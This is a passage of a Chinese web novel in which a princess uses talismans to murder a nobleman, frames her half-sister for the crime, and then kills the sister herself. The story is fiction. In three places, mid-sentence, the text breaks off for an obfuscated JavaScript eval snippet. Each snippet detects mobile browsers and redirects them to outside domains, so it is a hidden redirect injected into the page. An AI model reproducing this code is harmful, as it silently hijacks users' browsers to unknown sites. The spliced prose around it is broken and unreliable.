周泉礼与云绡有仇,说云绡大半夜带着周泉礼的玉佩来神霄塔他是不信的,所以才冒雨前来,就是为了看一看,眼前的云绡是否真的是她,还是什么邪祟伪装。 古怪就在于——云绡是真的,那玉佩也是真的。 “十一殿下深夜来神霄塔,所为何事?”仲卿挥了挥手,让那些弟子退下。 这意思就是要让云绡说真话,不要有任何隐瞒了。 方才还挺直着腰背故作镇定的云绡在看见那几个弟子离开后才松了口气,面对仲卿露出几分胆怯与畏惧,低声道:“我是为了周泉礼而来的。” 她没喊礼公子,因为她和周泉礼之间关系没到那么友好的地步,少女的语气有些别扭,取信度才更高。 云绡解释:“想必仲卿仙师也一定发现了周泉礼绑着我来过天祭台的事吧?其实他就是想为云宓出气,他喜欢云宓,不过他是个傻子,云宓不喜欢他,只是耍他而已。所以我被他带来天祭台之后,便告诉他我有办法让云宓爱上他……这其实是很久以前我无意间得知的可以让人爱意相通的咒语,我教给了他,他放过了我,所以后来大皇兄过来,我们都安然无事。” 这也解释了仲卿的疑惑,他又想起了什么,便问:“你说的咒语,可是这个?” 仲卿一指凌空,对着云绡的方向笔画,苍老的声音低低呢喃着咒,待咒成之时,那咒已经被他下在了云绡的身上了。 云绡震惊,但没有恐惧。 仲卿一顿,便知道这咒并非害人之咒。 数日前周泉礼离开青云司便备上厚礼来神霄塔找他,说多谢他帮忙隐瞒天祭台之事,又画了这符咒给他看,问他这咒是否会让他所爱之人爱上他。 仲卿不曾见过反咒,但咒语中的些许用途他还是能看穿的,此咒的最终目的的确是返还于施咒者本身,有几分像周泉礼所说,让他所爱之人,深爱于他这种交互的关系。 但仲卿没乱说,只将自己看出的告诉周泉礼,周泉礼便迫不及待地用在云宓的身上了。 这些,也都与云绡所言对得上。 云绡指了指身边一排排书架:“后来周泉礼和我说,云宓还没有爱上他,而且晨妃马上就要为云宓择婿,他便将玉佩交给我,让我最快找到问题所在,否则便要我好看……” 这也解释了她为何会大半夜出宫,拿着周泉礼的玉佩来神霄塔的原因。因为神霄塔中古籍甚多,她说不定能从其中找到她记下的那个咒是否有误。 仲卿嗯了声,又问:“这咒,殿下从何得知?” 云绡沉默着没有回答。 仲卿又道:“据我所知,十一殿下从未离开过京都,甚至甚少离开皇宫,而京都所有与符咒相关的书籍,哪怕是宫中禁书我也都阅览过,没有这咒。” 云绡为难地低下头,像是被仲卿盯得承受不住了,这才道:“是我年幼时,从我母亲那里听来的。” 云绡的母亲是曦族进贡的美人,曦族擅符咒,这也能解释的通。 仲卿还想与云绡交流一番那个他从未见过的符咒,身后急促的脚步声便传来。来者浑身是雨,气还没喘匀便用一种天塌了的语气道:“仲卿仙师,宫中传急令!” 仲卿面色微沉,问:“可知所谓何事?” 那人动了动嘴唇,不太确定道:“似乎是……周、周公子死在宫里了。” 那人说的是似乎,可他苍白的脸色暴露了他在宫门前听到的话,宫里人都已经去请逍遥王了,满宫戒严,又怎会是假? 轰隆一声雷鸣打断了仲卿的思绪,他也没管神霄塔内的云绡,转身便与报信之人离开。 而那雷光透过神霄塔大开的门,伴随着轰隆隆的声音照耀在豆大的雨点上。 钟离湛上前一步,深深地看向身旁的少女,她的眼睛盯着雨水,像是缀满星辰。 对于周泉礼的死,她没有半分惊讶。 - 重音宫秋水殿内。 三皇子与晨妃脸色苍白,殿中的宫人跪了数排。 那些跪地的宫人们甚至都不敢呼吸,凡是分派来秋水殿的人都知道,他们大祸临头了。 跪地的一众人中还有一个身着藕色薄裙,满身血迹的少女。她披散着头发,血色褪尽的脸仿佛她已然成了一具尸体。 少女抖着纤薄的身体颤抖着,她根本不敢回头,双眼直勾勾地盯着自己手上的血迹,入目一片猩红。 这个时候也没人去管她穿得有多不得体,所有人都战战兢兢,满脑子想的都是自己的命。 周泉礼就躺在床上,满床鲜血,谁也不敢去动。 晨妃已经第一时间去看过了,周泉礼衣衫褪去一半,身上还有几丝暧昧的痕迹,他的双目瞪圆,像是不可置信自己居然会被人一招致命。 而杀死他的是一把精致的匕首,那把匕首牢牢地刺在了他的喉间,剑锋彻底没入骨肉,只留下红宝石的剑柄。 这个时候周泉礼的血已经流得差不多了,那些浸入被褥里的也都冷了。 啪嗒,啪嗒。 是血滴在地面上的声音。 三皇子听着这声音,最后的理智也绷断了,他压低声音对着云宓呵斥道:“你怎么敢?你怎么敢的?你这是要害死我,你要害死我们!” 晨妃纵然也有千言万语要说,可这个时候她也得沉住气,她抓住三皇子的手,沉痛地闭上了眼,思索接下来保命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361789|166931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的对策。 周泉礼是逍遥王最疼爱的小儿子,如今死在了他们的宫中,死在了她儿子的住处,晨妃只要想到这些都是因为云宓,她就恨。痛恨自己当初没有拒绝显帝要让她抚养云宓的要求,哪怕她不得宠,也不该留着这个祸害的。 毕竟……毕竟云宓的亲生母亲,那女人也很诡异。 显帝来了,紧随其后的便是逍遥王。 年过六十的逍遥王头发已经花白了,这个老来的幼子几乎等于他的半条命,在看见周泉礼的死状时,逍遥王双腿一软,甚至不敢向前。 跟随逍遥王的逍遥王世子也看着死相惨烈的弟弟,目光倏然落在那把匕首上,那是秋猎时逍遥王世子为首个捉到猎物进献给显帝,显帝随手赐予的一把匕首。 那匕首未开封,主要是剑柄上宝石珍贵,逍遥王世子觉得匕首女气便收了起来,还是周泉礼非要讨过去说要送给云宓,让她防身。 逍遥王和逍遥王世子都能看出问题所在,显帝如何能不认得这把匕首? 显帝威严的声音问:“你为何会出现在这里?” 云宓没说话,像是彻底被吓傻了,眼泪一直流。 显帝又问:“那把匕首,是周泉礼赠予你的?” 云宓哆哆嗦嗦,仍然苍白着脸,只是摇头。 显帝哪有多好的脾气,两个问题没得到答案,便冷着一张脸朝晨妃看去。 这一记眼神吓得晨妃肝胆俱裂,她连忙指责云宓道:“上次便是你拖累周公子去了青云司,如今还要害人,云宓,母妃疼你也给过你机会,可你太糊涂了!这次事关重大,母妃和你父皇也不能再纵容你,便将你交给逍遥王府处置!” 而后晨妃又转身朝显帝跪下:“此事也是臣妾与光樾疏忽,臣妾与光樾愿素食三年,罚宫奉五年,秋水殿内宫人不查,皆杖杀。” 三皇子云光樾便是有再多怨言,这个时候也只能咽下。 就在宫人去拉云宓时,一直落泪的云宓这才找到了自己的声音,她颤抖着挣扎着,连连摇头,尖利着声音道:“不是我!不是我!不是我杀了他,不是我!” “是云绡!是云绡杀了他啊!我亲眼看见的,云绡入了秋水殿,突然就出现在我的面前,我与周泉礼不查,她就将匕首刺入了周泉礼的脖子里,而后、而后就消失了……” 云宓猛然抬头,泪眼婆娑:“对了!那把匕首,那把匕首也是云绡从我这里偷走的!她早些时候就让许萍接触我宫中下人,从我这里偷走了许多东西,周泉礼赠我的耳坠……还有这把匕首其实早就落到了她的手里,她特意用这匕首杀人就是为了陷害我!” “父皇!!!” 云宓挣脱了宫人,满脸泪痕朝显帝跪爬而去,凄厉着声音道:“若我真要杀人,为何要用如此明显的匕首?这是栽赃陷害啊父皇!是云绡,一切都是云绡做的,不是我!” 众人看着云宓,觉得她就像是疯了。 事实上云宓也的确快要疯了,她没说一句假话,但她知道自己无法为自己辩解。 只要回想起云绡的那双眼,还有对方杀了周泉礼后朝她露出了那抹意味深长的笑,云宓就觉得浑身发寒,云绡就是魔鬼! “不信,不信父皇去找云绡来!只要找到她,我与她当面对质!” 秋水殿外,恰好听到这一段的仲卿踏入大殿,先是看了一眼周泉礼的尸体,又看向逍遥王那瞬间苍老十岁的脸,不忍地闭了闭眼。 “九殿下不必去找十一殿下了,十一殿下如今不在宫中。” 云宓宛如抓住救命稻草:“父皇你看!云绡畏罪潜逃了!” 仲卿摇了摇头道:“十一殿下在宫中出事之前就已经离开,如今人在神霄塔内。” 17.第 17 章 “这不可能!这不可能!” 云宓因为仲卿的话彻底断了理智,就在她尖叫的时候已经有宫中侍卫押着她朝秋水殿外拖去。 云宓拼命摇头和挣扎,涕泪横流,口齿不清地辩解着:“我说的都是真的,父皇!您要相信我啊父皇!是云绡,是云绡杀了周泉礼,云绡一定还在宫中,她一定还在!” 暴雨之夜,云宓本就穿得单薄,冰冷的雨水淋在她的身上,这样的寒冷突然让她清醒了一瞬。她想起了云绡的身份,陡然拔高声音尖叫道:“一定是她,一定是她用了什么妖法!她是曦族人,曦族人擅符咒!父皇,父皇——” 只是说这些话时侍卫已经将她拖远,再凄厉的自证也无法穿透暴雨与雷鸣的声音传入秋水殿,更别说她所言毫无逻辑,哪怕是听到这些话的宫中侍卫也只觉得她是在发疯,胡言乱语。 云宓的身上满是鲜血,可轻薄的纱衣被雨水浸透遮不住她曼妙的身形,那些拖拽着她的侍卫已经料定了她的下场,对她毫无怜惜。 云宓赤着的双脚在地上拖出血痕与伤口,她披头散发,闪电落下的时候照亮在她狰狞的五官上,湿漉的发丝如同蜿蜒的黑蛇,触目惊心。 - 轰隆隆—— 雷鸣声持续,雨越来越大,就像天漏了个巨大的豁口。 神霄塔,飞檐之下。 云绡站在勉强能够遮风避雨的地方,抬起头看向偶尔划破天际的蓝紫色雷霆,心里算着时间,知道这个时候云宓一定百口莫辩,被晨妃送出宫让逍遥王府的人泄愤去了。 钟离湛见她站在檐下,身边一盏已然灭去的灯被雨水打得透湿,夜风吹动着雨水其实也淋到了云绡的衣袂上,她没有躲避,甚至饶有兴趣地抬起手接上几点雨水,握住,松开,再握住,再松开。 云绡在钟离湛的眼底,仍然是个谜团。 每当他觉得他好似已经足够了解了她之后,她总会露出另外一面让他惊讶。 好比她在禁地之底对他表现出的坚韧,后又对林勋和大皇子等人无辜示弱。 好比她朝云宓伶牙俐齿地唇齿相讥,却会在背着人的时候隐忍落泪诉说不公。 好比她能面不改色地谎话连篇,好比她只要动动嘴就能将厌恶之人耍得团团转。 好比……她在他面前适当露出的一些脆弱,激起他心中怜悯,像是对他敬仰,在他面前毫无心眼,可转头来瞒着他,闷声干了这么大一件事。 周泉礼是云绡杀的。 钟离湛知道是她亲自动的手,因为她在匆匆赶回来的时候脸上还有一滴没能来得及擦去的血珠,那滴血被他抹了去。 那滴血不知是否因为沾染了她的温度,还是因为他骤然发现自己被诓骗的事实,所以尤为滚烫,烫得他到现在都忍不住摩梭指尖。 “你比我想的更聪明。” 这么长时间,足够钟离湛想明白她到底是怎么做到的。 云绡其实在赌,她的心情虽然因为杀了周泉礼而欢乐,却并不轻松,毕竟在她的料想之中自己不会这么快败露。 不仅被钟离湛发现了她离开神霄塔,甚至还被他察觉到了一滴没处理干净的血,要这个时候她还在他面前装单纯无辜那就实在说不过去了,毕竟钟离湛也不是傻子。 所以云绡只能以沉默应对,想看她和钟离湛之间究竟是谁更先沉不住气,谁先开口,后发声的便占据了主导位,因为如何回答都取决于她。 云绡的耐心很足,心也够稳,但在钟离湛那双带着几分邪性的狐狸眼的注视下仍然禁不住紧张地想要握住雨水,靠着那些许冰冷来缓解自己焦灼的内心。 好在她赌赢了,这些天的相处让云绡知道,钟离湛并非史册记载的那样血腥暴戾,甚至是有些好骗的。 令她惊喜的是,他开口的第一句话不是质问与责怪,也没太多失望的情绪,反而有些疑惑,但也有些疏离。 被骗的人,总会有几分防备心,但只要骨剑还在她的身上,她总能将他的心防再度瓦解。 云绡嗯了声:“我过目不忘,天资聪颖。” 钟离湛见她居然还应下来了,气笑地嗤了一声,又问:“所以,你从一开始就会六丁六甲符?” 云绡摇头:“不,在遇见曦帝之前,我从未正式接触过六丁六甲符。” 钟离湛的眼底闪过意外:“那神行符,是你自己摸索出来的?” 云绡终于转身朝钟离湛看去,她的脸仍然清丽,那双眼睛也很纯澈,没有被人拆穿而暴露本性的猖狂或阴狠,又或者……她的本性就是如此干净。 那双干净的眼底,似乎有些高兴。 “曦帝真的很聪明,只一眼就猜出了我是怎么杀人的了。”云绡抿嘴笑了笑:“我从您这里学来了隐身符,化形符,猜到了六丁六甲符的符文如同在符纸上设阵,只要套用其阵,写好时辰,再请值日神相助,应当就能成。” 她说的应当,是三成把握。 云绡知道如若没有足够的力量,未必能催动符纸,可她还了解过一些旁门左道,所以加上了自己的血,把握就翻倍了。 毕竟她是曦族人,她的身上有曦族的血脉。 对于曦族而言,对符咒的了解和运用应当是与生俱来,只是曦族被诅咒,时间冲淡了天道赐予他们的天赋,却不代表他们血脉中的力量也随之消失。 云绡用过自己的血很多回,蛮好用的。 从隐身符上应验画符有用,她就更加笃定,今晚是杀死周泉礼最好的时机。 云绡用一个很好的理由暂且牵制住了钟离湛,让他沉浸在史册中对他的记载里,她则找个偏僻的角落,解开衣衫将骨剑取出,放置书架下方。 神行符与隐身符叠加,她从神霄塔进入皇宫只需要半盏茶的功夫,两张符简直如有神助,在她到达秋水殿的时候云宓和周泉礼已经衣衫不整地抱在一起了。 云宓在慌乱之下能做出的唯一办法,便是委身于周泉礼,生米煮成熟饭,以此套住周泉礼的身心。 而周泉礼也兴奋于云绡居然真的能说对云宓的行为,沉浸在云宓终于爱上他,甚至主动勾引他这场快乐的美梦中。 云宓伏在周泉礼的身上,衣衫褪去,一双眼楚楚可怜地看向神智已然被迷得昏聩的周泉礼道:“礼公子一定要疼惜我。” 这句话音才落,便见骤然出现的一只手握着顶着红宝石的匕首,毫不留情地刺穿了周泉礼的脖子。 云宓的背后起了一道冷意,那是夜风的温度。 那只手的主人藏在她的身后只露出了半张脸,是为了能看准方位,以她的身躯为她遮挡喷涌而出的热血。 滚烫的血迹如同岩浆一样几乎能烫伤云宓的皮肤,可她却觉得浑身发冷,胆战心惊地回头。 云绡没有立刻离开,她松开了匕首,甚至还有心情扯过云宓的袖子擦去自己手上的血迹,眉眼含笑,眨巴眨巴眼地对她说:“从你哪儿偷来的东西,我还给你了哦。” 云宓只觉得自己在这一刻像是被云绡杀死了一样,她无法呼吸,无法发出任何声音,眼见着云绡如同一阵风般在自己眼前消失。 当云宓回过头看去,杀死周泉礼的……是云绡从她这儿偷走的匕首。 云绡已经要离开皇宫了,云宓才发出惊恐的叫声。 所以云绡回到神霄塔前,皇宫里就已经有人传报周泉礼死在秋水殿的消息,不过她比仲卿早,却没想到钟离湛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368841|166931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比她预计的看完这整座神霄塔书籍的时间要更快。 其实她如何杀人,钟离湛只要想一想,也能猜到差不多。 她要栽赃到云宓的身上,今夜的确是最好的时机,只是一切未免太过顺利,还是说都是她的步步为营? “如果孤不曾教过你这些呢?”钟离湛又问:“你会如何做?” “左右不过是时间等久一些,复杂一些,但云宓还是会落到今日这般下场的,因为周泉礼对她下了反咒。”云绡又眨了一下眼,想起什么笑道:“这办法,还是我从曦帝的身上取来的经验。” “孤的经验?”钟离湛不明白。 云绡点头:“野史记载,可能是假的,但有用却是真有用。” 钟离湛又问:“那在孤教你反咒之前呢?你又要如何做?” 云绡嘴角扬起一抹浅笑:“我本来就会反咒。” 钟离湛的瞳孔缩了一下,一时沉默,他简直是被她耍得团团转! 云绡干脆将自己的全部计划都告诉钟离湛:“我知道云宓要害我的心思,所以顺势而为,故意透露出我要破坏祭祀栽赃她,那个时候周泉礼已经是她跟前的狗了,他定然会冲冠一怒为红颜,以牙还牙地对待我。” “我借由这个机会进入禁地,也有六分把握能唤醒您,以请神咒交神之法并非空穴来风,我查了很多年的典籍,只要过程不出错,那结果就是对的。” 即便没能请动杀神,也不影响她接下来的计划。 “请您,是要杀显帝,我原先并没想过让您救我出去……”云绡顿了顿,回想起钟离湛两次要带她离开禁地的时候,握住的都是她没受伤的那只手。 说实话,那个时候她真的很惊讶,惊讶于钟离湛的细心和温柔,但也在心里想着,或许只是巧合罢了。 但后来的一切告诉她,不是巧合。 传闻中的杀神,就是个细心又温柔的菩萨。 云绡道:“我原先的计划里,等他们发现祭祀被破坏后,周泉礼一定会站出来想办法让他们找到我,我再将脏水泼到周泉礼的身上,左右不过是过程吃点苦头。但以我俩的身份,在真相查明之前一定都只会被关在青云司的静室里。” “静室里有狗洞,是那些位高权重之人想要串供而挖的。凌国并没有表面上的那么和平和干净,背地里都是阴暗与腐朽,官官相护,又要过明路,官权相交,背地里的小动作就更多。” 云绡嗤笑:“我会和周泉礼在青云司碰面,我会让他看穿云宓的真面目,我会教他反咒。” 所以这个过程即便没有钟离湛,云绡也能施行,不过是可能会被严刑逼供,可能会再多吃点苦头,可能会麻烦点,可能等待的时间要更长一些……但结果不变。 唯一的变数,就是钟离湛不是真杀神,有他的存在,顺利很多,她也…… 云绡眼底闪过些许愧疚,这点愧疚被钟离湛捕捉,大约是她也没想过钟离湛会帮她,所以愧疚自己欺骗了他。 “你的反咒,从何得来?”钟离湛问。 云绡垂眸:“这个我没骗人,是从我母亲那里学来的。” 钟离湛抿唇,想到她那被扒皮抽筋制作成人皮鼓的曦族母亲,到底是心软了一瞬。 左右死的是个该死之人,他只是有些烦闷自己竟然也成了云绡的棋子,被她蒙在鼓里。 “我该交代的,都交代了。”云绡抬头看向钟离湛:“时间差不多了,曦帝是打算和我一起去,还是留在神霄塔?” 钟离湛眼神瞥她,无声在问:去哪儿? 云绡坚毅着目光道:“我要去逍遥王府。” 她总要在逍遥王府弄死云宓之前,亲手杀了她才算真的解恨。 18.第 18 章 云宓被带到逍遥王府后就冷静下来了。 大约是因为知道自己死期将至,不论如何周泉礼被发现死亡时身边就只有她一个人,人是不是她杀的她都活不了,这个时候云宓反而清醒了不少。 她在思索,等到逍遥王回来之后总不会一剑杀了她,少不了折磨,又或是问她杀周泉礼的原因,那个时候她还有机会拉云绡一起下地狱。 重点是她要如何说,才能让逍遥王相信她。 云宓这个时候脑子里只有一个想法,那就是即便她活不了,她也不要云绡活! 仇恨让她的五官扭曲狰狞,脑海中不断臆想着当逍遥王知道云绡也成了杀死他儿子的凶手之一后,云绡是否也会像她今天这样被屈辱地拖出皇宫,丢入逍遥王府的暗室里,饱受折磨被扒皮抽筋! 越想,云宓就越忍不住笑,可越笑,脸上的泪水就越多。 她突然想起来,其实她和云绡也没有多少深仇大恨的,甚至在她们还都年幼的时候有段时间她们的关系算得上不错。 云宓的母亲死前并不看重她,尤其她是个女儿,她的母亲就用尽手段,迫不及待地怀上了儿子。 那段时间,云宓时常受宫人们的欺负,她无能为力的时候只能躲着哭。 云绡也会躲在无人的角落里,但她不会哭,她比云宓还要小上两岁,看上去更加瘦弱,甚至都没人给她梳头发,但她的手上有热腾腾的包子吃,她从来不会让自己饿肚子或吃亏。 云绡见云宓哭得可怜,撕了一小块包子给她吃。 可云宓即便不受母亲重视身边却也有人伺候,她穿得干净,发丝整洁,不太能看得上云绡手里沾了个指印的包子,还是被她撕下来的一小块。 她没有接,但她感受到了云绡的善意,她们总会在一起安静地坐着,互不打扰。 大约是因为难得有人会喜欢云绡的安静,所以在云绡的心里有那么一段时间是将她当成了好姐妹,所以在云宓被其他皇子公主欺负的时候,云绡就像个小疯子一样冲了出来护着她。 不懂事的皇子们说云绡是怪物,因为她受伤很快就能愈合,还不会疼,不会哭。 他们说云宓和怪物玩就也是怪物,他们会如同孤立云绡一样孤立和欺凌她。 云宓不想被欺凌,就只能讨好着那些兄弟姐妹们,也不再理会云绡了。 但她会觉得良心过不去,偶尔去云绡和她一起发呆的地方放上一碟糕点,那糕点是她省下来的,她没说,云绡也没吃过。 再后来,那些兄弟姐妹们不满她只是孤立云绡,非要她也对云绡动手,要她成为他们的一员,欺负那个不会哭的怪物。 云宓不想欺负云绡,可她也不敢反驳其他人,她害怕自己变得像云绡一样可怜,所以假模假样地拿起一块石头朝云绡丢了过去。 当时云绡看云宓的眼神很干净,她没有伤心,也没有质问,像是这才是理所当然,而云宓曾经与她和平共处的那段时间才是假的,是不正常的。 可那个干净的眼神却被云宓记在心里很久,直到有一天,她又看见了那样的眼神。 她和云绡真的开始你死我活,也是从那个时候开始。 那是大雪纷飞了一夜的早上,京都被覆盖上了厚厚一层白。 云宓的母亲位分不高,宫中伺候的人也就两个,那天恰好那两个宫女都被调走去除雪,宫内就只有云宓和母亲二人。 宫女们去除雪了,宫中地面的冰就没人铲除,云宓眼看着她母妃踩在冰面上重重摔倒,看着她痛苦呻吟,看着她求救,一双含泪的眼睛朝自己投了过来。 云宓只是看着,她没动,也没出声,亲眼看着她母亲的身下流出大量鲜血,看着她母亲的脸色越来越苍白,声音越来越微弱。 云绡当时就在窗外,她是路过,又被哭喊声吸引,而后隔着石牅上的窗棂看见了不作为的云宓。 云宓也看见了云绡,仍然是那双干净的,甚至是冷静的眼。 那双眼吓得云宓浑身一颤,脚下打滑地摔了一脚。可对方也只是淡淡地瞥了她一下就离开了,云宓却如同坠入噩梦,后知后觉地开始哭着跑出去喊人。 不治身亡,一尸两命。 所有人都以为那是个意外,一个七岁的小姑娘哭哭啼啼地自责着,甚至因为亲生母亲之死而茶饭不思。 皇后不忍心,将她送到了当时只有儿子没有女儿的晨妃膝下抚养,云宓就开始自己寄人篱下的生活。 可她仍然会辗转难眠,夜夜噩梦,梦到的就是云绡的那双眼。 那双眼是一把夺命的刀,不知何时会落下。 周围人都以为云宓是因为没能救自己母亲所以消瘦,又以为她委屈落泪是因为晨妃苛刻,实际上云宓已然接受了自己的身份,且习惯利用自己的身份博取同情,达到自己想要的目的。 她忍不住就会关注云绡,忍不住想要找云绡的麻烦,她想试探云绡到底在那扇窗后面看了多久,是只看了一眼,以为她吓傻了才没动,还是从头看到尾,看着她亲眼盯着自己母妃丧命? 疑神疑鬼,终被鬼所杀。 因为云宓多次找云绡麻烦,又将自己落于下风,云绡在宫里的日子就更不好过。 那个时候云宓几乎要以为她是泥捏的性子,任谁都能欺负,也渐渐觉得事情过去了那么久,她母亲的尸骨都化成泥灰了,便是云绡这个时候说出当年所见也不会有人信她,更不会有人追究。 所以她变本加厉,好像只有将云绡碾进尘埃里,才能让她心安。 可云绡从来不是逆来顺受之人,她只对云宓说了一句话,便让云宓肝胆俱颤,真正起了杀心。 她说:“我知道,你是旖族的。” 旖族,只生男,不生女。 生女者,母女皆杀。 云宓不能让云绡毁了自己,所以她表面上对云绡休战,终于不再关注云绡,却用一年布局,想要借周泉礼的手,让云绡死。 仔细想来,她似乎也没有做错过什么,不过是为了自保。 雷声阵阵,惊醒了云宓,她的眼泪几乎要流干了。 云宓抬起头看向窗外闪过的雷霆,只觉得这夜太漫长了,悬在脖颈上的刀泛着丝丝寒意却没能立刻落下,折磨着她的心神。 又是一道雷霆晃过眼帘,云宓的双眼恐惧地睁大,几乎要脱眶而出。她的眼瞳中倒映着突然出现的人影,又一次将她吓到失声。 雷声伴随着云绡的身影忽至,将她衬成了摄人心魄的鬼魅,雷电的光芒闪过,云宓再一次看见了那样一双眼。 惊恐的尖叫声响起,可不论她如何尖叫都没有人冲进来,而她的惊叫声也被淹没在雷声中。 云宓叫了一会儿便安静下来了,尤其是在看见云绡显然有些厌烦她吵闹的目光下,她周身的血液忽而发冷,像是凝固住了一样。 她没想过,云绡会比逍遥王来得更快。 云宓无法为自己辩解,她在云绡的面前简直无所遁形,好像她所有的计划,所有的目的都被云绡洞悉,而她最终只能走入对方布置的死局。 她没有云绡聪明。 失败者,唯有以示弱求得自保。 云宓还想着拉云绡一起下地狱,哪怕是拖延时间等到逍遥王将云绡抓个现形,又或是求得云绡几分心软愿意暂且放过她……即便这个可能微乎其微。 但云宓还是求饶了:“云绡,我不想害你的,我只是太害怕了……你仔细想想,我们同病相怜,我也曾真的将你当成我的妹妹,我深知皇宫生存不易,若不是被恐惧蒙蔽,我、我也不知我为何能狠下心肠,我错了……我真的错了。” 云绡看着忍不住瑟瑟发抖的云宓,其实关于她过去和云宓短暂和谐的相处已经想不起什么来了,此刻回忆起的更多是被云宓有意无意造成的迫害。 什么同病相怜,她们从来都不一样。 不过想起身后还有个杀神在,云绡总得陪着云宓演一演。 “我给过你机会的。”云绡道:“你和她们也一起欺负我的时候,我没有反抗,因为我知道你是迫不得已。” 云宓见她果然在思忆过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378870|166931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,忍不住附和:“我就是迫不得已,若我不那样做,他们也会欺凌我!” “后来我发现你亲眼看着你母亲的死而无动于衷,我也没打算拆穿你,毕竟我知道她不是一个好母亲,否则也不会让你总饿着肚子一个人躲起来哭。” 想起那些,云宓忍不住落泪。 她明明回忆了一遍她和云绡的过去,可被云绡这样提起时还是会心酸,就像这一瞬回到了过去。事实上仔细想来,她这辈子过得最轻松的时刻,也许就是她和云绡坐在假山后头发呆的时候。 “你变本加厉地欺负我,你仗着有人为你撑腰,仗着晨妃还算受宠,做的比那些已经长大的皇子公主们都有过之而无不及。”云绡嗤笑:“你猜,我是如何知道你是旖族的身份的?” 提到旖族,云宓才从回忆中回到冰冷的现实。 “因为张悦之死。” 张悦,就是那个皇子身边的伴读,唯云宓马首是瞻的蠢货。 云绡道:“张悦心仪你,他成了你的走狗,替你做尽坏事,可他总会暴露……我发现他越不顺,你就越顺,而他死了之后,你居然能被显帝夸奖,从而得到晨妃的喜爱,那个时候我就确定你是旖族的。” 钟离湛在知道云宓是旖族时也没忍住将目光落在那如同菟丝花一样的少女身上。 旖族的女子与生俱来便是命里带咒,一旦被人怜悯,她们就会像菟丝花一样缠上去,吸食对方的运道,此消彼长。 菟丝花虽是寄居植,最终却能吸干寄居体的养分,自己灿烂绽放。 旖族的女子亦是如此。 人一旦心生怜悯,就会由怜生爱,一旦爱上旖族女子,便会为其痴狂,而被爱之人汲取着对方的运道而生。 爱人者死,被爱者便盛。 所以很早以前,早在钟离湛还活着的时候,他疯了的那段时间里便下了个旨意,旖族不可生女,只能生男。 所有旖族在生产之前可以去官衙以符咒窥看男女,为男者留,为女者赐药。 而旖族的男子只能与它族女子成婚,久而久之,旖族渐少,旖族的女子也几乎消失了。 至少在钟离湛的记忆里,当时照国的旖族女子便少之又少。 钟离湛突然想明白,为何云绡会说即便没有他教她六丁六甲符,她的目的也能达成,因为周泉礼向云宓下了反咒。 反咒,是施咒者自保的手段,施加咒语的对象若没有用咒害他的意思,那反咒便无效。 可云宓是旖族女子,生来带咒,周泉礼爱她,他已然成了她攀附吸食的寄居体。 周泉礼施以反咒,云宓只会越来越不顺,心性也随之越来越不稳,她想要的目的一样也未达成之下,只能走入云绡给她设下的狗急跳墙这一条死路上。 “哪怕我知道你是旖族的,可我仍然没有暴露你,加害你的意思。”云绡叹了口气,像是忍无可忍道:“可你怎么能杀了阿青?你明明知道阿青对我有多重要,你不仅杀了阿青,还让你身边的走狗将阿青的尸体扔到我的面前嘲笑我。” 云宓震惊不已,她不明白为何云绡说了那么多,竟会扯到阿青的身上。 她道:“可阿青——” 她的话没能说完,云绡便用一截折断满是尖木的凳子腿,刺穿了云宓的胸膛。 钟离湛双眸微瞪,惊讶于云绡的果决。 他还以为云绡和云宓说了这么久的话,提起过去旧事,最终会手下留情,却没想到她把人说杀也就杀了。 云宓满眼地不可置信,她面对着近在咫尺的云绡的脸,明明看见云绡在笑,可云绡的声音却像是在哭。 “阿青是我唯一的朋友,你们都欺负我,只有她陪着我,你们还要将她杀了……” 云宓没能立刻死透,沙哑的声音恐惧道:“可、可阿青只是,只是——” 尖锐刺得更深,打断了云宓的声音,云绡听着云宓呵哧呵哧的喘息,眼底露出几分快意。 - 阿青只是一只猫。 这句话,云宓终究没能说出口。 19.第 19 章 眼看着云宓不甘地咽下最后一口气,云绡抬手抹去眼角不存在的眼泪,声音凄婉地叹息:“阿青,我替你报仇了。” 说完这话,她将云宓的死状布置成她自己畏罪,折断房屋内的凳子腿,扑倒自杀的假象。 而后照样用云宓湿漉漉的衣裳擦去自己手上的血迹,再转身时,面对着钟离湛依然是那个坚韧又聪明的少女。 “现在我大仇得报,已经没有遗憾了。” 云绡说完这话,朝钟离湛露出一抹笑。 钟离湛见她笑容苦涩,眯起双眼仍然觉得自己无法看穿她,杀死仇人的办法很多,亲手除去最不明智却最解恨。 一个理智地能将仇人布置进一场死局里的少女,又不理智地冒着大雨也要手刃仇人,在钟离湛看来,云绡十分矛盾。 “有人来了。” 他轻声说出这句话,云绡一怔,连忙将隐身符贴在自己的额头上。 